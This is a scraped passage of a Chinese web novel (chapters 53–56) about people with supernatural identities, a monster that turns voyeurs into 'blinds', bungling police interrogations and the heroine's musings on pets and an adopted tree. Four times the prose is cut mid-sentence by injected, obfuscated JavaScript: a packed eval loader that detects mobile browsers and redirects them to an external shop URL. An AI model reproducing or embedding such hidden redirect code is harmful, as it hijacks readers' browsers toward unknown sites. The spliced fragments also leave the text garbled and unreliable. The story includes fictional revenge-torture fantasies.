直到前不久,不知道是不是因为那个摄像头没电了,那个人又上门找帖主,想要再借一次厕所,对方没想到帖主上次去见“春羽”前其实刚借完厕所给他,所以这次一回来就看到这个人又要找她借厕所,帖主就觉得实在是太巧合了。 再一查监控,这个人其实想来借厕所有几天了,或者说,在她门口徘徊有几天了。 帖主开始怀疑这个人有问题。 然后她找到了那个摄像头。 她拿去跟对方理论,对方非但骂她造谣诽谤,还把帖主挂到了网上,帖主在现实论坛里被各种不认识的人网暴辱骂。 因为这件事,本来之前帖主一直很反感在现实中使用自己的身份和技能,这次她也有点生气,杀了些人。 之后她一直有点后悔,她觉得她应该先把这些人关起来,给他们也用上摄像头,让他们天天互相看对方怎么拉屎,一边看拉屎一边吃饭,一直看一直看,最后再慢慢杀死。 毕竟她一直过着在慢慢被杀死的生活,所以她不觉得这样做很过分,只是后悔没这样做。 如果要这样做,其中一种可能就是,让这些人去做对方厕所上的百叶窗,还能省一笔买摄像头的钱。 53. 第 53 章 摄像头对于她来说不贵,但是钱嘛,能省则省,虽然钱多好办事,但是把钱交给资本家办出来的不一定是好事。 大家都很深以为然。 在最开始的时候,不用说钱了,各位巧克力香草冰淇淋红丝绒蛋糕们已经把命都给过资本家了。 那个时候,大家都觉得资本家看起来沉稳,有力量,虽然很多人讨厌资本家觉得背叛了党对不起国家,但是这个世界是疯狂而扭曲的,并不是所有人都在那个国家,甚至,虽然这里名为东45区,看起来好像只是地球上的一个小区域,实际上东45区包含了周边总计5475个世界。 所以其实并不是所有人都知道资本家是个什么东西。 一开始大家看到很多人的身份都是很普通的,像叶藤这样的小白,像【魔法师】那样的中二病,像【宠物美容师】那样路边随处可见的普通人,大家看来看去,就觉得,看着还是【资本家】好。 【资本家】里带个“家”字,一看就很厉害,像专家,和普通人不一样。 于是大家就这么奔向了【资本家】,唯【资本家】马首是瞻。 【资本家】也很舍得使唤大家,所以大家都磨合得非常快,在越来越强大的过程里,大家越来越信赖【资本家】。 然后【资本家】突然做出了一个决定。 【资本家】说要建立学校。 【资本家】安排专家制作了教材。 【资本家】说要包办所有人的一生。 不只是所有巧克力香草冰淇淋红丝绒蛋糕的一生,是所有人的一生。 【资本家】认为世界应该由巧克力香草冰淇淋红丝绒蛋糕主导,而不是任由所有人任性妄为,巧克力香草冰淇淋红丝绒蛋糕的地位应当要高于所有人,高于所有生来不如巧克力香草冰淇淋红丝绒蛋糕的人。 有巧克力香草冰淇淋红丝绒蛋糕提出反对,然后【资本家】的巧克力香草冰淇淋红丝绒蛋糕立刻删除了提出反对的人的帖子。 是的,以前这个app是被【资本家】掌控的。 反对的帖子越来越少,【资本家】以为已经准备万全,开始向外铺路。 那个时候帖子上每天都是赞美【资本家】的语言,【资本家】偶尔也会下场亲自和大家友好交流一番,整个app一副其乐融融,繁荣壮大的模样。 然后【资本家】在现实中走上了演讲台。 【资本家】被【借刀杀人】了。 理论上来说,队员之间,甚至不同队的有身份的人之间都是不可以互砍的,但是可以通过一些和怪物有关的技能进行一个卡bug的操作。 这件事告诉大家,跟着到了这个时候还在相信金钱的傻子混是没有前途的。 也告诉了大家,把钱花给【资本家】,是有可能会被讨厌的人抢走的。 那个拥有【借刀杀人】技能的是一个很多人都很讨厌的人。 虽然他很快就死了,但是大家还是很讨厌他。 因为他是一个非常招摇的人。 很多人很好奇他是怎么得到【借刀杀人】这个技能的,就会跑去问他,他每次都会非常招摇,非常臭屁地告诉大家,因为他和刘全不一样。 是的,在刘全正在承伤的时候,他也会非常招摇,非常臭屁地这样告诉大家。 所以刘全更不愿意承伤了,怎么想都是他的问题。 叶藤回想完这些,人已经在“香辣火锅牛百叶”旁边了。 她记得她之前给这个人取的名字好像不是“香辣火锅牛百叶”,但是还是就这样吧,香辣火锅牛百叶也很好吃。 叶藤不再去想“香辣火锅牛百叶”的上一个名字,她开始思考她要怎样去对付“香辣火锅牛百叶”。 首先要让“香辣火锅牛百叶”愿意出现在她面前。 根据前面的推测,“香辣火锅牛百叶”愿意去见那些受害者,可能有一个原因就是,那些人可能偷窥了一些东西。 那么也许她应该……不,她做不到。 也许看狗拉屎……不,看狗拉屎的人太多了,如果看狗拉屎也算,那“香辣火锅牛百叶”动手的频率应该还会更高一些。 以它目前的作案频率……好吧,目前“香辣火锅牛百叶”的作案频率也不低…… 不,和这种事情结合在一起的话,还是不要叫它“香辣火锅牛百叶”比较好吧。 “百叶”就“百叶”吧,叶藤老实了。 她开始看队员的进度。 目前来到这里的队员们也都没遇上“百叶”,只是在这里闲逛着。 这里是一家游乐场,可以闲逛的东西有很多,叶藤没怎么逛过游乐场,不过她觉得也可以逛一逛。 她逛任何地方,都会用同一种方式。 那就是去看看有什么好吃的。 通常来讲现代无论是哪里都会有很多好吃的,尤其是在到处都是连锁店以前,不过那是很久以前了。 现在就是有些地方是没有特色美食的。 叶藤在到处都是连锁店的游乐场里转了一圈,最后难过地坐上了摩天轮。 坐摩天轮的时候好像一般都会放歌什么的?那这个时候她是不是应该放《大悲咒》? 叶藤当天没有在游乐场附近看到“百叶”,不过点到了一些不错的外卖,就还不错。 然后酒店的早餐也还行。 就是在第二天起床的时候,她发现酒店里好像出了很多事情,然后她和很多巧克力……哦不,和很多队员一起被执法者盘问了,执法者盘问大家盘问得焦头烂额,因为人数实在是太多了。 执法者应该是很久没有查过这么让人焦头烂额的案子了,这里有很多本来不应该出现在这里的人,而且人数还特别多,很少有案子能在现场抓到这么多嫌疑人。 不过执法者心中还是升起了很大的希望。 从前从来没有过这么说嫌疑人,从前也一直没有抓到真正的凶手。 也许,这次,这么多人,总有一个会是凶手了吧。 王远被重点观察了起来。 【幕后主使】的身份又默默发挥了作用,执法者们看王远气度不凡,和普通人格格不入,一看就很有那种十分罕见的人的感觉。 正好警方要追查的凶手也是一个应该会和普通人格格不入,一看就十分罕见的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459143|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽然但是凶手本来就都是十分罕见的人。 王远在拘留所默默用app和大家聊天打屁。 本来进拘留所是会扣押手机的,但是王远可以继续用她的app。 疯狂的世界给世界承认的人开这点后门还是没问题的。 王远聊了会儿天,就开始打游戏。 这个时候执法者走过来了,执法者敲了敲她的栏杆:“不许打游戏”。 王远“嗷”了一声,不打游戏了。 执法者离开以后,突然想起,王远本来就不能用手机,为什么自己会只是限制她不能打游戏? 她摇了摇头,突然又记不清自己刚刚在想什么了。 王远悄悄地去被窝里打起了游戏。 她这个房间还有单独的插板,可以给手机充电。 到了饭点,还有人给她送饭,是叶藤给她点的,她忘记点饭了。 王远让外卖员把饭放在那里,过会儿她打完游戏自己去拿,外卖员老实地放下了饭,还给拘留所门口的饭拍了照。 王远打完手里的二周目,去拘留所门口拿了饭。 执法者看王远的眼神越来越奇怪了。 当然,执法者们本来就应该这样看王远,王远的行为就是很奇怪,王远自己也知道自己的行为很奇怪。 紧接着,王远被无罪释放了。 王远觉得有点突然。 虽然人确实不是她杀的,虽然她也很想尽快离开这里去外面找凶手,虽然执法者直接释放她而不是她自己跑路让她轻松了很多不用等队员慢慢给她找住址房号更吉利的新身份,但是,突然被释放让她真的觉得有点太突然了。 其实可以再多关她一段时间的,反正她也是天天打游戏。 因为太奇怪了,再加上王远在拘留所里住得有点熟了想再住一段时间,在这里,她除了天天打游戏,还有很多活动,不打游戏的时候她随时可以去锻炼,还可以去打一些没做过的零工,里面很多人都很有意思,知道很多她从来没关注过的事情,她真的觉得住着还挺不错的,饭也很营养均衡,虽然但是,饭是叶藤和她自己点的,拘留所的食堂她是不怎么吃。 王远就随口问了执法者一句要找的凶手找到了吗。 执法者说找到了。 王远本来还想接着问,“你看我是不是还是很像凶手”,没想到执法者居然说找到了。 王远嘴里的话说不下去了。 怎么会找到了? 执法者同志面对这种超出普通人能力范围内的事情不应束手无策毫无办法只有能到超能力者出手吗?怎么就找到了? 这些执法者太有用了,过分有用了,比大部分电视剧电影小说里的执法者都有用,这么有用的执法者为什么要出现在她的现实里? 王远只能悲凉地问了一句:“你看我是不是很像从犯?” 执法者:“我看你像吃太饱了”。 王远被赶出了拘留所。 她万分惆怅地回头看了看拘留所的大门,独自落寞地朝前走。 她一步一步,难舍难分地离开拘留所。 突然有人抓住了她的肩膀。 54. 第 54 章 是执法者。 执法者开始问她为什么要说自己像从犯。 王远知道希望来了。 拘留所里的朋友们,她又要回来了! 王远开始进行仔细的构思。 执法者叹了一口气:“算了,看你的样子应该就是主谋,我可能问不出来什么,你先跟我回去吧。” 王远高兴地跟着执法者回去了。 拘留所是很严肃的场合,所以王远没有高兴得十分,明显,她严肃地沉着脸,只是嘴角眉梢隐约能看出一丝笑意。 有人在暗处握紧了拳头。 这是挑衅,这显然是,一定是挑衅。 然而警方拿王远毫无办法,能做出的最大的努力也就是派老警员多审问几次王远。 王远永远对答如流,毫无破绽。 于是每一个审问过王远的老警员都信誓旦旦地说:“这就是主谋,这家伙一定就是主谋!” 王远也在试图打探警方掌握的情报。 app上有人指点她该怎么打探,她照着说也就探听出了一些消息。 除了她以外,警方还抓错了一个人。 不是有身份的人,不是“百叶”,是一个普通人。 那个普通人因为被拘留误工现在工作没了,日子有些艰难。 最近那个普通人在尝试告派出所,不知道会不会有结果。 王远有点不确定:“那真的是普通人吗?执法者为什么会抓捕一个普通人?” “可能因为像我们这种人,如果不是自愿的话,很难被捉到吧。” “不是自愿,是体谅,我理解执法者同志工作艰难,我愿意配合执法者同志的工作。” “实际上你明明一直在给执法者同志增加工作量和工作难度吧?” 好像是这么回事。 王远决定再住几天就出去。 这次真的是最后几天了,不会再住很久了,王远下定了决心,开始收拾行李。 顺便也打听了一下那个普通人为什么会被抓。 执法者说是警方已经发现了,每次查相关案件,附近都会有一个很特殊的地点。 王远心领神会:“是厕所。” 执法者一脸“看吧我就知道你是主谋”的表情。 “他是在厕所被抓捕的?我猜猜,应该是在女厕所?” 执法者又是一脸“逗执法者很好玩吗?你觉得这样做很有意思吗?我已经知道就是你小子谋划的这么个事了你还在老子面前秀”的表情。 王远通过执法者的眼神完成了自己的套话。 本来有很多人想要去救一救帮一帮那个普通人,了解到这些,app里关于那个普通人的话题瞬间沉寂了。 继续住了几天,王远打算走了。 临走之前,她送了在这里认识的朋友一些土特产,有牢里的朋友的,也有牢外的朋友们。 执法者们神情复杂地收下了她的礼物。 “没有开封,不用担心有问题。”王远最后留下了一句话。 执法者们咬紧了牙。 太侮辱人了。 有的执法者甚至流下了眼泪。 路过的不明真相普通人看了一眼,觉得当地警方看起来还挺不错的。 肯定是执法者帮助了别人,然后这个人送执法者的礼物吧,包装得这么好看,执法者还哭了,肯定很感动。 我们的社会真是和谐美好,团结友善啊。 路人感慨着离去了。 执法者们更加努力地抓捕起了凶手。 当地警方决定不惜一切代价也要捉拿这个看不起人的家伙,于是当地警方请来了专家。 专家潜心研究数日,把大家在app里的研究成果告诉了警方。 警方不愿意接受这样的研究成果。 执法者皱着眉:“你的意思是,作案的凶手是一个怪物?” 专家点头:“是的,它就是一个因为一些精神疾病,或者一般电视剧电影小说里会说是执念的原因生成的一种怪物,以后这种怪物说不定还会越来越多”。 另一名执法者在纸上画了画,拿起来问专家:“像这样?” “不是。” 左边的执法者又画了另一幅画举起来:“这样?” “也不是。” 右边的执法者另外画了一幅,举了起来。 专家一脸迷惑地看着两位执法者。 左边的执法者轻咳一声:“好了,我们大概知道了,就是,这是个怪物,对吧?” “不是,它不是那种普通的,人造的尼斯湖水怪什么的,它是真正的因为精神疾病导致的,因为执念产生的——你们笑什么?” 右边的执法者低下头了头,端正了表情:“我最近送走了一个很麻烦的嫌疑人。” 专家看向左边的执法者:“你也送走了一个很麻烦嫌疑人?” “啊对对对!我也是辛苦了很久终于送走了那个麻烦的家伙啊。” 专家左右看了看:“你们送走的,是同一个嫌疑人?” 两个执法者同时使劲点头。 专家一拍桌子:“老实点。” 两个执法者老实了。 专家也是老执法者了,不是和这一行不相关的人,所以就算专家说的话再离谱,两个执法者再想笑,也只有忍住。 忍不住也得忍住,但是实在忍不住。 两个执法者尿遁了。 专家继续和警方交代细节。 因为其中涉及一种声誉过于负面的行为,警方不便出手,所以关于凶手捉拿的事情可能还要再拖延一段时间。 不过警方确实有吸收到一些东西,之后在新的相似案件里调查的时候会注意搜一下附近厕所的摄像头。 还真是让警方发现了不少摄像头。 这下也算是有个方向了。 警方开始提议直接打击卖摄像头的商家,这样就算捉不住凶手,相似案件也可能会自动减少,如果真相真的就像专家所说的那样的话。 但是没人愿意理会警方的这条提议,所以相似案件仍然源源不断。 直到由于摄像头技术的突飞猛进,更多人加入了偷拍的行列。 一时之间,处处都是类似案件,终于有人后知后觉反应过来想要禁止摄像头流通了。 但是这时候才想起来禁止已经没用了。 禁止了商家的出售,还有二手市场,二手市场过不了还可以同城交易,摄像头有很多用处,很难管控。 这个时候要管,就只有立法管了。 但是因为这样立法,会让人感觉很奇怪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459144|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不抓偷拍的,不抓卖视频的,不抓搞小网站的,抓卖摄像头的。 那还是往不允许偷拍的方向立法好了。 可是“百叶”的速度比法律快。 他们只能看着一个又一个人被做成百叶窗,有的瘫在地上,有的被挂在他们的窗户里。 凶手越来越嚣张了。 有人建议严刑拷打王远。 吃过王远土特产的执法者心头一颤。 虽然当时很多执法者以为王远是在侮辱人,但是后来执法者们发现,王远送的土特产真的蛮好吃的。 而且还很贵,还很好出手。 虽然她添了很多麻烦,但是她也支付了很多报酬,所以很多执法者觉得她还不错。 起码是让很多执法者财务自由了,有的执法者差点当场辞职来着,不过考虑到社会关系,还是都留在这里了。 建议的人要求把王远交给上次看守她的执法者进行严刑拷打。 大家都很信任这些执法者,毕竟一开始就是这些执法者抓捕了王远。 执法者们感觉肩膀上很沉。 一边是上级的信任和托付,一边是王远的钱。 王远的钱给得实在是太多了。 多得执法者们都想辞职告老还乡了,何况是信任和托付…… 不过这样是不是算是收受贿赂?那恐怕不太行,就只是收一个已经无罪释放的人的礼物那还收的过去,要是现在因为收了礼就对一个有嫌疑而且很大几率是主谋的人表现出友善,那就很危险了。 几个执法者相互之间交换过眼神,齐齐摇头,拒绝了上级的信任和托付。 上级皱了皱眉,把这个建功立业的机会交给了另外的执法者。 和平年代建功立业的机会本来就少,另外的执法者得意地看着原本比他们更早接触王远的几人,本来他们还以为自己在这件事中没有机会能晋升什么的,没想到居然会天赐良机。 至于严刑拷打进行私刑这种事会不会违背良心,开玩笑谁会觉得严刑拷打一个老是把人切成百叶窗的家伙是违背良心的,这叫天降正义好吗。 这一刻,他们感觉自己就是正义的化身,这就是执法者的天职,这就是当执法者的意义。 几人快快乐乐去来到了王远的住址。 到了地方以后,他们被管家告知王远暂时不在家。 “那她在哪里?”把搜查证拿在胸前的执法者用正义的眼神正义的语气询问管家。 “在H国。” 执法者:“?” 对哦,人是会出国的哦。 执法者们懵了一瞬间。 不对,这是畏罪潜逃吧?这一定是畏罪潜逃吧?哪有这么巧合的事情,他们一来她就跑了,肯定是听说了消息畏罪潜逃了。 执法者继续用正义的眼神凝视着管家逼问:“她是什么时候走的?” 肯定刚走没多久。 那他们回到执法者局就要开展一番激烈的清查,要搞清楚谁做了内鬼,谁收了贿赂,他看那些拒绝来抓捕王远的执法者就很可疑。 管家一脸慈祥地开始进行回忆。 “走了一年了,她说那边有人约她一起去参加巧克力香草冰淇淋红丝绒蛋糕派对,跟她小时候的朋友一起去的,小姐总是这样天真浪漫。” 55. 第 55 章 执法者们失望地离开了。 管家收起了慈祥的表情。 王远确实离开了一年没错,也确实是出国去参加了一个奇怪的派对没错,但是,管家其实并不是从小看着王远长大的。 王远不是大小姐,王远是最近几年才暴富的,一开始管家跟不愿意担任王远的管家,一个暴发户凭什么请她来当管家。 但是在她见了王远一面以后,她转变了想法。 她认为,人如果不当王远的管家,那这个人的人生就一定是不完整的。 王远是那样的神秘不可琢磨,是那样的让人想要了解却又无法了解,她是一个迷,一个能够让人用尽一生去猜测的迷。 就像现在这样,有执法者到家里来问王远的事情,管家一点也不意外,王远就是这样的一个人,一个身上围绕着巨大谜团的人。 可惜那些执法者终究只能和王远建立这样连一面都见不上的联系,不像她,可以尽情探究这个宇宙之间的最大奥秘。 只是越是探究,她越觉得王远深不可测。 现在她就有一个谜团很需要了解。 王远到底什么时候回来?她已经很久没跟她联系了,她不会在外面有别的管家了吧? 失望地离开这里的执法者们心里也在想着王远。 虽然他们没有见过王远本人,但是他们见到了王远的照片和视频。 之前王远被认为是嫌疑人过,审问嫌疑人的时候通常都是需要有监控看着的,以防滥用私刑。 所以他们其实之前也看过王远的一些表现。 她的表现,一看就不像是普通人。 她肯定不是一个普通人。 当时就有很多人断定王远就是主谋,他们也这样想。 现在主谋早已逃窜到国外,虽然按照管家的说法,王远是一年前就已经离开了,不是畏罪潜逃,但是执法者们还是认为,王远有极大可能是早就算到了今天,所以提前进行了一个畏罪潜逃。 也对,这么推测也完全说得过去,王远如果就是主谋,这些案件的情况就是由王远策划的,一切都是她的谋划,那么到了哪一步该走,哪一步能留,她当然清清楚楚。 执法者们失望地回到执法者局,把结果告知了上级。 上级明白了,这并不是一件容易解决的事情,只好也把这件事告诉上级。 一级一级转交过后,专家知道了这件事。 这个时候专家正在国内通过线上app进行一个巧克力香草冰淇淋红丝绒蛋糕派对的狂欢。 她是在家里狂欢,不过因为这份职业的原因,在家里也一样常常会被工作打断,所以她也已经习惯了狂欢到一半被打断去干活。 然后她知道了她这次需要干的活是捉拿王远。 专家盯着王远身上的【幕后主使】标签看了一会儿,心里清楚她是没有办法说服别人,王远根本不是主谋了。 关键是她也捉不到真正的主谋,藏在后面的“百叶”。 专家觉得有点憋闷,派对也狂欢不下去了。 王远还在狂欢。 她完全不知道老家发生了什么,此刻她正在一个远方的孤岛上,过着之前在热带雨林享受过的生活。 没有“春羽”的凝视,其实这种生活还蛮爽的。 很多人不能理解她的爽,她觉得这也很正常,很少有人愿意过原始人的生活,她理解。 但是在热带雨林里淋雨啃香蕉真的很爽啊。 由于这次的怪物“百叶”只对品德极其败坏的人下手,大家也是难得地可以安心放松休息一下,直到有新的怪物让外面扛不住放进来。 不过话说回来,既然“百叶”这么好,为什么当时那个区域会扛不住? 东45区的人逐渐开始对东22区的人有了意见。 那里的人该不会都是……噫…… 叶藤享受着这个难得的长假。 最近有时间她可以跟妈妈吃同款美食了。 那就是,自己做的菜。 叶藤自己的厨艺也不差,毕竟小时候她也会吃吃自助餐厅,有时候遇到自助烧烤火锅就难免会需要自己弄一弄。 在她长大以后,互联网已经覆盖很多地方了,所以她会经常跟着网上做一些网红菜,当时她还没有现在这么有钱,去外面吃饭经常会觉得不如自己做的菜,她自己会做好多全国人民都觉得好吃的菜的。 不过这样的美味,大白是永远享受不到了。 大白不会自己做菜,只能吃狗粮。 不用指望她妈妈天天给大白做菜,她妈妈可以给大白开罐头,可以偶尔做点水煮鸡胸肉,天天做菜是不可能的。 叶藤偶尔也会给大白寄一点水煮鸡胸肉过去。 其实东45区到东46区寄东西还蛮快的,就是不能寄人。 她对大白有种云养狗的感觉,说起来大白还是最适合云养的那种网红狗。 以前这个位置是哈士奇的,当时她也很想养哈士奇。 她记得她小时候第一次看见哈士奇,觉得这一定是传说中的大狼狗,她当时非常兴奋地就说话都结巴了,结结巴巴地问哈士奇的主人她可不可以摸摸大狼狗,哈士奇的主人同意了,她摸了摸哈士奇的头,当时她觉得哈士奇好高啊,不愧是大狼狗。 现在回想起来,真是很宝贵的回忆,现在她摸哈士奇不可能会有当年的感觉了。 毕竟现在的她要比小时候高大太多了。 还有一点和从前不一样,她现在一点也不想养哈士奇了。 也不想养比格。 她可能什么都不想养,不只是不想养这些狗,她还不想养猫。 花草可以养养。 总是奔跑在最危险的地方……这种想法她好像已经想了太多遍了,完全没必要一直反复想。 总之就是没那么多时间去养东养西,养花草还行的原因是花草没人管死了也不会很痛苦,并没有养花草的话花草就一定不会被她养死的想法。 说起来也是,其实她一直很喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459145|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢养东西。 小时候她就很喜欢养成游戏,也想过养小鸡小兔子之类的会在校门口摆摊那种,不过她爸爸实在是太忙了,所以就不能养这些。 养花草的话,她是养一盆死一盆这,逐渐就没什么热情了。 后来是,大概是当了一段时间审计小白以后,她终于依靠着网络上各路名医的指点,养活了一盆玉露。 那盆玉露当时应该是活了吧,摸起来不是很软,刨出来看根也是有的。 后来她忙了一段时间,玉露就死了。 现在她只能玩玩养成游戏,但是养成游戏轮流翻车,她也有考虑过要不要自己买个会做养成游戏的公司玩,毕竟她现在有很多钱。 但是当年做养成游戏的公司现在已经是大公司了,小公司的养成游戏她又不是很喜欢那种不够精细的画风,最后自己养养oc算了。 但是她感觉养oc还是差了点感觉。 养oc一般是自己去找画师找文手约画面和剧情,画面上她是比较随便的,别人家oc有的她也去吃一口,她的oc有全身,有大头,有小房子…… 剧情就比较难搞了。 她不喜欢磕cp,比较喜欢可能……可能比较喜欢群像?她不知道该怎么形容,就是那种一家人的感觉,以前她玩养成游戏就是沉迷于那种大家都是一家人的感觉中不可自拔,每个人都会包容集体,大家一起取得胜利,一起缓解失败的尴尬。 举个例子就是,当时她养一张普通的卡,是个奶卡,还有另一张普通的卡,是个吸血输出卡……啊说起来当时她根本没有金卡啊,全是普通的卡,放现在她肯定就不会再玩那个游戏了,不过当时还是玩得很开心的,而且莫名有了情怀,后来还给那个游戏库库氪过金,扯远了,当时她用的奶卡和吸血输出卡都有很多同人,不过不是那种cp同人,她的奶卡是一个花妖,所以经常会有花卉妖精聚在一起的同人图和段子,主要是段子比较多,图基本上是Q版和简笔画,偶尔官方会有一些非常精美的一群花卉妖精一起出去玩或者在家里吃东西干活什么的图,也会有相关剧情。 所以叶藤感觉也不算群像吧,群像的话,总有一种在做很厉害的事情的感觉,那她的小伙伴卡片角色们也并没有做什么很厉害的事情,只是一起玩一起吃吃喝喝,厉害的事情往往是角色独自做的。 或者也可能就是大家一起做厉害的事情,但是还是不一样吧,真正厉害的事情往往能改变一个人,不是所有人都能在战斗中获得改变,所以其实往往只有那么一两个角色真正做了厉害的事情,总之,叶藤觉得专心谈恋爱不是厉害的事情,所以她要么看单人要么看群体。 单人的话很好搞,群体比较麻烦。 叶藤也想过多弄几个oc就有群体了,但是她竟然也是一个会偏心的oc妈,一开始她以为她会喜欢一会儿这个喜欢一会儿那个,结果她是给这个约了新稿子,又约了新稿子,越看越喜欢这个oc于是再约了新稿子,最后彻底移情别恋忘了最开始的那个oc。 56. 第 56 章 她觉得她不会是唯一一个这么做的人。 人会偏心是很正常的,对吧? 但是她不会去跟人说,也不愿意进行太多反思。 搞oc本来就是为了开心嘛,现在她开心了,那不就行了,oc就像花花草草一样不会痛,还不会死。 如果她不搞了少约一点搞笑剧情还可以让她的oc看起来更有风范永葆活力与风度,对oc来说实在是百利而无一害。 好吧,这也是她逐渐搞不下去oc了的原因。 好像没什么好约的…… 想要的都有了,然后暂时没有什么新东西想弄给oc。 甚至过年烧香祭祖的时候她都会想想要不要给oc弄个坟,然后坟也弄完了。 而且她烧香的时候还莫名和古人有了一种诡异的共鸣。 她发现她也要保留祖宗的头像,祖宗的姓名,还要给祖宗烧小房子,小纸人,啊对,关键是要给祖宗烧纸钱给祖宗打钱,然后在坟前告诉祖宗,祖宗可以拿这个钱买新手机新电脑买祖宗喜欢的东西,这么说祖宗好像oc啊。 莫名有种祭祖其实是在抹杀祖宗本人,建立一个oc的感觉…… 然后当时叶藤对祖宗旁边的大树也很心动。 爬藤也是,也不止是她一个人心动,她就是从亲戚那里知道这是爬藤的,亲戚一直在“啧啧啧这个常春藤长得太好了”,最后果然把常春藤挖走了。 虽然但是叶藤觉得亲戚不见得就能养得活这个常春藤,很多花草本来都是好好呆在外面,被她家亲戚捡走就死了。 后来她也有想过,既然家里都买得起院子了,为什么不买个院子种一棵大树?大树总不需要养吧,自己淋淋雨得了。 后来她是租了一段时间带院子的房子,自己试着打扫了一下,又请了几个管家,尝试着让管家帮自己打理了一段时间房子,最后叶藤果断放弃了。 带院子的房子打扫起来太累人了,管家沟通起来也不轻松,她干完活只想瘫着。 于是最后她去公园认养了一棵大树,有空就去摸摸这个大树的皮,就当是她养的宠物花草了。 大树还是很给面子的,会开很好看的花,而且身上还挂着有她名字的牌子,让她觉得很有面儿。 就是可惜认识她名字的人不多,她跟园方沟通了一阵,花费了一点钱,现在牌子上还有她的大头了,感觉自己更加有面儿了。 不过其实她也不怎么去公园,所以并不能真的像养宠物那样,缩在被窝里自暴自弃的时候能有猫狗过来拱一拱,强行打断她的自暴自弃,也没有花草在阳台上悄悄长得很壮大,惊艳到让她忘记自暴自弃。 不过每次看到她的大树宠物,她还是很高兴。 大树是古树了,就像这座孤岛上的古树们一样古老。 不知道过了多少年,大树就那样一直站在那里,风吹过,雨淋过,沃土曾经埋藏过它,如今都成了让它壮大的一部分。 有时候叶藤会觉得机关算尽才能平稳度过的一生太过忙碌过多奔波,然后她会去看看大树。 大树没有机关算尽,大树只是站在那里。 风吹过会疏通大树的根系,卷走树枝上的害虫,雨淋时大树会好好喝水,让自己的叶子都支棱起来,把状态恢复到最好。 它还能给周围的人和其它动物遮风挡雨。 巨大的树冠只是挺立在那里,就能给无数人带来更强的免疫力,这好像是叫“森林浴”?总之叶藤会很想感谢大树。 她的感谢是真诚的,她会付出很多很真诚的金币……不是,金钱的。 其实,真要说起来,她认养的这棵大树长得不是很好看,也不是什么稀奇品种,砍成木材也不会有人愿意买去做家具。 说起来大树其实是很没有用的大树。 但是那都是人觉得没用。 对大树自己来说,淋雨的时候把每一片属于自己的叶子支棱起来的它,会想些什么呢? 在人们看不见的地底,大树的根系吞噬养分争夺养料的时候,又在想些什么呢? 然后叶藤又会平静下来了。 她也会好好支棱起每一片属于自己的叶子,不断扩大别人看不见也不想看的根系。 她养过盆栽,知道就算一时半会儿甚至好多天支棱不起来也没关系,根系全烂了也可以重新长。 地栽可以活得很好,一个小小的十厘米直径的盆也可以活得很健康。 无处身处什么样的境遇,无论在外人的口中评价有多不堪,都不重要。 也许将来有一天会被连根拔起,也许只需要断水几个月就会彻底死透,但是,一旦活成大树的样子—— 只要不断地扩张根系,保存力量,好好支棱叶子,保住水分,就算被连根拔起,别人也会觉得它是一个有用的大树,更倾向于让它去到更需要它的绿化不足的公园,在露天的环境下再也不可能断水几个月就死透。 她也大可不必在意别人的说法。 好吧其实就是她有点emo,在派对里。 虽然她邀请大家一起开派对大家都来了,来了以后大家也愿意跟她说话,但是只要一涉及到工作内容,大家就会像在网络上一样屏蔽掉她。 她甚至没有像长辈们一样详细追问他们,拼命要求他们在过年每个人都在玩的时候做出一份像是能应付老板的工作报告一样的东西,她只是拍了拍露营用的餐具,说这个平时工作的时候应该也可以用,用起来还蛮爽的,它做得也很好看。 然后所有人纷纷闭上了嘴移开了视线,屏蔽了她。 真可恶啊,这就是队长的宿命吗? 不过有时候叶藤也会有点理解就是,她有听说过一种说法,就是有人会觉得,嗯,比如就是有人会觉得穿越很像是被拐卖,尤其是那种本来在现代日子过得很好的人穿越到古代,然后嫁给农村糙汉那种文就很像拐卖,还有人写过那种女主以为自己穿越了然后在当地找了个男的嫁了,结果有天在田里种地突然看到天上飞过一架飞机。 叶藤觉得应该不至于看小说看成这样,一般穿越不都是带金手指的吗? 不过她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459146|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 